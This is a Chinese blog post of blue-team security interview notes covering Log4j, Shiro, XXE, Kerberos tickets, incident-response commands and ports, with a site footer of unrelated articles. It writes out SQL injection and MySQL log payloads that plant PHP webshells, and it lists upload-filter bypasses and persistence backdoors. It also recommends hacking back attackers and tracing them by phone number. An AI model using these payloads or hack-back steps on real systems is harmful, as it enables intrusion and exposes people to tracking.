面试经验分享 | 蓝队面试经验

关于蓝队面试经验

1.自我介绍能力

重要性
 

为什么将自我介绍能力放在第一位,实际上自我介绍才是面试中最重要的一点,因为护网面试并没有确定的题目,让面试官去提问
更多是的和面试官的一种 “交谈” ,面试的难易程度也自然就取决于你如何去和面试官 “聊天”。所以我认为自我介绍能力是面试能
力的首要位置

一些小建议
 

1.在面试前最好写个自我介绍,并且可以将他熟练的记下来,在面试开始前跟面试官请求先进行一个自我介绍,自我介绍的内容尽量突出
你的专业性,将你最有把我的信息展现出来,让面试官更能体会你的水平。

2.如果是学生,自我介绍的时候尽量避开年龄,当别人问了才回答,不问尽量别说

3.突出项目经历,尽可能详细的说出项目经历,越详细越能体现出你的经验。

2.一些我面试时候出现的比较多的问题

java log4j反序列化漏洞:
 

Log4j反序列化漏洞(CVE-2019-17571)
是由于Apache Log4j 1.x中存在的错误而导致的安全漏洞。这个漏洞仅影响已经过时的Log4j 1.x版本,不影响Log4j 2.x版本。
这个漏洞源于org.apache.log4j.net.SocketServer类中的handleRequest方法,在处理接收到的日志事件对象时没有正确地限制反序列化过程。
当攻击者向这个类发送恶意构造的序列化数据时,可能触发远程代码执行,从而导致严重的安全问题。

log4j2漏洞
 

Log4j2漏洞
这个漏洞不是由反序列化引起的,而是由于 Log4j2 的 JNDI 功能中的错误处理导致的。攻击者可以通过精心构造的日志消息触发 Log4j2 中的 JndiLookup 类来执行任意代码,从而导致远程代码执行。

sql注入写入shell的方法(http://example.com/view.php?id='123'为例子):
1.通过union联合查询进行shell写入:
 

123' union select 1,"<?php @eval($_GET['qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqcmd'])?>" into outfile "绝对路径" --+

2.通过分隔符进行shell写入(union查询无法使用时候,多用于盲注):
 

123' into outfile "E:\phpStudy\PHPTutorial\WWW\DVWA-master\321.php" line terminated by "<?php <span class="label label-primary">@eval($_GET['cmd'])?</span>&gt;" --+

原理解释:
这会创建一个名为 321.php 的文件,并将其存储在服务器上的 E:\phpStudy\PHPTutorial\WWW\DVWA-master 目录下。这个文件包含 <?php @eval($_GET[‘cmd’])?> 代码(因为LINES TERMINATED BY “<?php @eval($_GET[‘cmd’])?>” 这句话将 <?php @eval($_GET[‘cmd’])?>作为行终止符。我们使用into outfile会创建一个321.php 的文件,但是无法使用union查询,所以无法写入向321.php 的文件,所以这个321.php 文件就只有一个开始符和终止符,我们使用LINES TERMINATED BY “<?php @eval($_GET[‘cmd’])?>”,就可以将终止符设置为<?php @eval($_GET[‘cmd’])?>),当访问该文件时,它将显示服务器的 PHP 配置信息。

相同的道理还可以使用:

 

?id=1 INTO OUTFILE '物理路径' lines terminated by (<?php eval($_POST[cmd])?>)#

?id=1 INTO OUTFILE '物理路径' fields terminated by (<?php eval($_POST[cmd])?>)#

?id=1 INTO OUTFILE '物理路径' columns terminated by (<?php eval($_POST[cmd])?>)#

?id=1 INTO OUTFILE '物理路径' lines starting by (<?php eval($_POST[cmd])?>)#

这四个注入语句

3.通过log写入shell

原理解释:
开启mysql的log功能,并且把log功能设置为一个可访问的php文件路径A,然后执行一个带有php命令的sql语句,该语句会被log记录,然后关闭log功能,访问PHP路径A,由于关闭了log功能,php文件正常会被当成php执行,刚刚开启log时候,由于记录了带有php代码是sql语句,所以php文件A带有了php命令,访问php文件A即可。

命令:
show variables like ‘%general%’; #查看配置

 

set global general_log = on; #开启general log模式

set global general_log_file = '网站目录/shell.php'; #设置日志目录为shell地址

select '<?php eval($_POST[shell]);?>' #写入shell

set global general_log=off; #关闭general log模式

3.java内存马查杀

Java 内存马是一种通过将恶意代码加载到 Java 运行时环境(JRE)的内存中来执行攻击的木马。手动查杀 Java 内存马需要关注异常行为和可疑进程。这里有一些建议供您参考:

  1. 寻找异常进程

    • 使用任务管理器(Windows)或 top/ps 命令(Linux)查看当前运行的所有进程。

    • 查找异常的 Java 进程,如 CPU 占用率过高、内存占用率不正常等。

  2. 分析 Java 堆栈

    • 对可疑的 Java 进程执行 jstack 命令以获取线程堆栈信息:jstack [pid] > stack.txt

    • 仔细查看堆栈信息,寻找不寻常的类、方法或代码段。

  3. 检查 Java 类加载器

    • 使用 jmap 命令列出 Java 进程中的所有类加载器:jmap -clstats [pid]

    • 查找非标准的类加载器,例如不属于 Java 系统类加载器的自定义类加载器。

  4. 审查 Java 虚拟机参数

    • 检查 Java 虚拟机的启动参数,使用 jinfo 命令:jinfo -flags [pid]

    • 确保不存在可疑的启动参数,如 -javaagent 或 -Xbootclasspath 等。

  5. 监控网络连接

    • 使用 netstat(Windows)或 lsof(Linux)命令查看当前的网络连接。

    • 关注未知或异常的远程连接,特别是与可疑的 Java 进程相关的连接。

4.应急的时候常看的Windows目录
 

hosts文件所在位置:C:\Windows\System32\drivers\etc\hosts
日记所在位置 计算机管理 --》事件查看器 --》 windows日志
定时任务查看 --- schtasks
启动项查看 ---msconfig --》启动

5.应急时候常使用的Windows命令:
 

进程查看 ---tasklist
网络连接情况 ---netstat -ano
端口情况 --netstat
执行的服务查看 ---Services.msc

6.应急的时候常看的Linux目录:
 

环境变量所在位置:etc/environment
host文件所在位置 ---etc/hosts
日志所在位置 --- var/log
定时任务所在位置 --- etc/crontab
定时任务命令:列出定时任务:crontab -l ;编辑定时任务:crontab -e
启动项所在位置 ---etc/rc[0-6].d 这个表示的是不同运行级别(runlevel)执行的启动项命令不一样, 例如runlevel6表示的是重启,重启就会执行etc/rc6.d里面的任务

7.应急的时候常看Linux命令:
 

进程查看 --- ps -aux
网络连接查看 --- netstat -s
端口查看 --- netstat -antp
服务查看 --- service

8.文件上传漏洞绕过思路

1.黑名单

 

a.后缀名不完整 .php5 .phtml等
b.上传.htacess
c.大小写
d.在数据包中 后文件缀名前加空格
e.后缀名前加.
f.加上::$DATA
g.未循环验证,可以使用x.php..类似的方法

2.白名单(一般需要配合其他漏洞一起利用)

 

a.%00截断
b.图片马
c.条件竞争

9.白银票据与黄金票据的原理
 

金票:
在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client
一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC 中,
krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造
TGT 和Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后,
就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改

银票:
如果说黄金票据是伪造的 TGT,那么白银票据就是伪造的 ST。在 Kerberos 认证的
第三步,Client 带着 ST 和Authenticator3 向 Server 上的某个服务进行请求,
Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得
Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证
成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的
Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用

10.window权限维持
 

1.替换系统文件类
(shift 后门,放大镜后门)

2.修改注册表类,
自启动项、屏幕保护程序注册表、用户登陆初始化、登录脚本、映像劫持、
影子账户、AppCertDlls 注册表项、AppInit_DLLs 注册表项、文件关联、用户登陆初始化、
xx.Netsh Helper DLL

3.文件类
自启动文件夹、office Word StartUp 劫持

4.计划任务
schtasks 、WMI、bitsadmin

11.linux权限维持
 

1.预加载型动态链接库后门
2.strace 后门
3.SSH 后门
4.SUID 后门
5.inetd 服务后门
6.协议后门
7.vim 后门
8.PAM 后门
9.进程注入
10.Rootkit
11.端口复用

12. 蓝队常用的反制手段有哪些?
 

a. 蜜罐
b. 对攻击目标进行反渗透(IP定位、IP端口扫描、Web站点渗透)
c. 应用漏洞挖掘&利用(菜刀、Goby、Xray、蚁剑)
d. id -> 社交特征关联
e. 钓鱼网站 -> 后台扫描、XSS盲打
f. 木马文件 -> 同源样本关联 -> 敏感字符串特征检测

13.应急响应的目的
 

1.判断黑客是否成功入侵
2.如果成功入侵,阻断黑客的攻击(把网线)
3.提取攻击样本,分析黑客的进攻路径
4.找到漏洞所在,即时修复漏洞

14.常见端口20.21 ftp
 

22 ssh
80 apache,nginx,http,iis
443 https
1433 sql server
1521 oracle数据库
2375 docker
3306 mysql
3389 rdp
5000 DB2
5432 postgresql
6379 redis数据库
7001 weblogic
8080 tomact jboss
9090 websphere中间件
9200 Elasticsearch
27017 mongodb
50070 hadoop数据库

15.溯源具体思路:
 

1.获取到ip。将该ip放在威胁感知分析平台进行分析,如果该ip存在web,查询网站的备案号等看是否可疑获取到个人信息,或者对该ip的web进行测试,看是否有漏洞,对该web进行渗透,看是否可以控制红队的攻击机,在其机器上进行信息收集,看是否可以获取到其他信息。

2.获取到黑客的某些个人信息,例如电话号码。进行社工,可以在各种社交软件中查询,看能不能获取到更多的信息,将范围逐步缩小至个人。

16.SHIRO-550:
 

shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:
得到rememberMe的cookie值--&gt;Base64解码--&gt;AES解密--&gt;反序列化
AES的密钥是硬编码在代码里,就导致了反序列化的RCE漏洞

17.SHIRO-721反序列化漏洞
 

不需要key,利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的
RememberMe cookie即可完成攻击

18.XXE是什么
 

XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件
保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁

止对外部实体的解析。

  申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3017455.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

三维点云处理-模型拟合

以直线拟合为例&#xff0c;模型拟合常用的方法有Least Square&#xff08;最小二乘&#xff09;、Hough Transform&#xff08;霍夫变换&#xff09;、Random Sample Consensus&#xff08;RANSAC&#xff09;等。那么该如何区分和使用这几种方法呢&#xff1f; 情况1&#x…

基于springboot实现夕阳红公寓管理系统项目【项目源码+论文说明】

基于springboot实现夕阳红公寓管理系统演示 摘要 如今社会上各行各业&#xff0c;都在用属于自己专用的软件来进行工作&#xff0c;互联网发展到这个时候&#xff0c;人们已经发现离不开了互联网。互联网的发展&#xff0c;离不开一些新的技术&#xff0c;而新技术的产生往往是…

深入理解Java虚拟机(JVM)

引言&#xff1a; Java虚拟机&#xff08;JVM&#xff09;是Java平台的核心组件&#xff0c;它负责将Java字节码转换成平台特定的机器指令&#xff0c;并在相应的硬件和操作系统上执行。JVM的引入使得Java语言具有“一次编写&#xff0c;到处运行”的跨平台特性。本文将深入探…

W801学习笔记二十一:英语背单词学习应用——上

英语背单词是比较常见的学习APP&#xff0c;参考唐诗宋词应用&#xff0c;本章做一个类似的应用。 一、单词数据清洗及格式转换 诗词数据的获取渠道很多&#xff0c;一般可以按照年级来分文件。如一到九年级&#xff0c;四六级&#xff0c;雅思等等。 1、先从网上某某地方下载…

【计算机科学速成课】笔记一

文章目录 写在前面1.计算机的早期历史2.电子计算机3.布尔运算和逻辑门4.二进制5.算术逻辑单元-ALU6.寄存器和内存 写在前面 所有的一切源于这样一个网站——CS自学指南。 这是新手小白入门计算机科学必要了解的知识——【计算机科学速成课】[40集全/精校] - Crash Course Comp…

HTML_CSS学习:尚硅谷——尚品汇

一、index.html <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>荣耀</title> <!-- 引入页签图标--><link rel"shortcut icon" href"./HONOR%20.ico" type&qu…

navicat premium16.3.9重置

软件下载 官网地址&#xff1a;https://navicat.com.cn/products/ # 准备脚本 1、建一个txt 2、复制以下代码 3、修改文件格式为bat 4、运行bat文件 5、重新打开navicat&#xff0c;试用期重置为14 经测试16.2.3以上版本均可用 echo off set dnInfo set dn2ShellFolder set r…

展开说说:Android线程池解析

何谓线程池&#xff1f;本人理解是存放和管理线程的一个容器。 线程池存在的意义是什么&#xff1f; 第一&#xff1a;前面博客提到过创建和销毁线程的操作本身是有性能开销的&#xff0c;如果把使用的线程对象存起来下次用的时候直接取出来用就省去了一次创建和销毁的成本&a…

0基础学PHP有多难?

php作为web端最佳的开发语言&#xff0c;没有华而不实&#xff0c;而是经受住了时间考验&#xff0c;是一门非常值得学习的编程语言。 目前市场上各种网站、管理系统、小程序、APP等&#xff0c;基本都是使用PHP开发的&#xff0c;也侧面反映了PHP的需求以及学习的必要性&…

程序员的神器指南!揭秘软件开发必备工具

在软件开发的广袤海洋中&#xff0c;程序员们像是驾驶着帆船探索未知的航海者。他们面对的不仅仅是代码的挑战&#xff0c;还有项目管理、协作沟通和时间限制的压力。为了应对这些挑战&#xff0c;程序员们需要一系列强大的工具&#xff0c;就像是海中的指南针&#xff0c;帮助…

4.4网安学习第四阶段第四周回顾(个人学习记录使用)

本周重点 ①Linux系统提权 ②Linux权限维持 ③Windows 提权 ④Windows权限维持 ⑤SSRF利用 ⑥内网环境 ⑦内网扫描 ⑧漏洞利用 ⑨内网代理 ⑩获取主机控制权其他方案 ⑩①vuln靶场 ⑩②CS代理与ICMP隧道 本周主要内容 ①Linux系统提权 系统提权是成功入侵系统之…

PHPStudy 下载PHP提示“当前网络不稳定,下载失败”

错误信息 当前网络不稳定&#xff0c;下载失败 获取下载链接失败&#xff0c;请检查网络 假查网络 问题原因 xp.cn服务器的网络不稳定&#xff0c;不是你电脑的网络问题。 解决办法 第一步&#xff1a;下载现成的PHP文件 直接下载现成的文件&#xff0c;放到php目录。 将…

SparkSql介绍

概述 SparkSQL&#xff0c;顾名思义&#xff0c;就是Spark生态体系中的构建在SparkCore基础之上的一个基于SQL的计算模块。SparkSQL的前身不叫SparkSQL&#xff0c;而叫Shark&#xff0c;最开始的时候底层代码优化&#xff0c;sql的解析、执行引擎等等完全基于Hive&#xff0c…

避雷!这本7.7分毕业神刊,影响因子狂涨6.179,最新分区上升,却沦为风险期刊!

近日&#xff0c;科睿唯安又连续对多本期刊进行重新评估&#xff0c;多本「JCR Q1」沦为风险期刊。 值得注意的是&#xff0c;又一本中科院顶刊COMPUTERS IN BIOLOGY AND MEDICINE被打上“On Hold”标签&#xff0c;这是目前“黑名单”收入的第三本中科院TOP刊。 此前&#xff…

【Qt QML】ComboBox组件

ComboBox 是一个组合的按钮和弹出列表。它提供了一种以最小的屏幕空间呈现选项列表给用户的方式。ComboBox 使用数据模型填充。数据模型通常是一个 JavaScript 数组、一个 ListModel 或一个整数&#xff0c;但也支持其他类型的数据模型。 下面是一个简单的使用方式。 import …

【Three.js基础学习】15.scroll-based-animation

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 前言 课程要点 结合html等场景 做滚动动画 1.遇到的问题&#xff0c; 在向下滚动时&#xff0c;下方会显白&#xff08;部分浏览器&#xff09; 解决&#xff1a;alpha:true …

【MATLAB源码-第204期】基于matlab的语音降噪算法对比仿真,谱减法、维纳滤波法、自适应滤波法;参数可调。

操作环境&#xff1a; MATLAB 2022a 1、算法描述 语音降噪技术的目的是改善语音信号的质量&#xff0c;通过减少或消除背景噪声&#xff0c;使得语音更清晰&#xff0c;便于听者理解或进一步的语音处理任务&#xff0c;如语音识别和语音通讯。在许多实际应用中&#xff0c;如…

python中numpy库使用

array数组 生成array数组 将list转化为array数组 import numpy as np np.array([1,2],typenp.int32)其中dtype定义的是元素类型&#xff0c;np.int32指32位的整形 如果直接定义dtypeint 默认的是32位整形。 zeors和ones方法 zeros()方法&#xff0c;该方法和ones()类似&a…

网络 IO 模式

同步 IO 与异步 IO 同步 IO 和异步 IO 是关于数据读写方式的两种不同模式。 同步 IO 是指在程序读写数据时&#xff0c;需要等待操作完成后才能继续执行后面的程序。这种模式下&#xff0c;当程序使用阻塞式 IO 时&#xff0c;会一直等待IO操作完成&#xff0c;程序会暂停执行…

HarmonyOS实战开发-如何实现查询当前城市实时天气功能

先来看一下效果 本项目界面搭建基于ArkUI中TS扩展的声明式开发范式&#xff0c; 数据接口是和风&#xff08;天气预报&#xff09;&#xff0c; 使用ArkUI自带的网络请求调用接口。 我想要实现的一个功能是&#xff0c;查询当前城市的实时天气&#xff0c; 目前已实现的功能…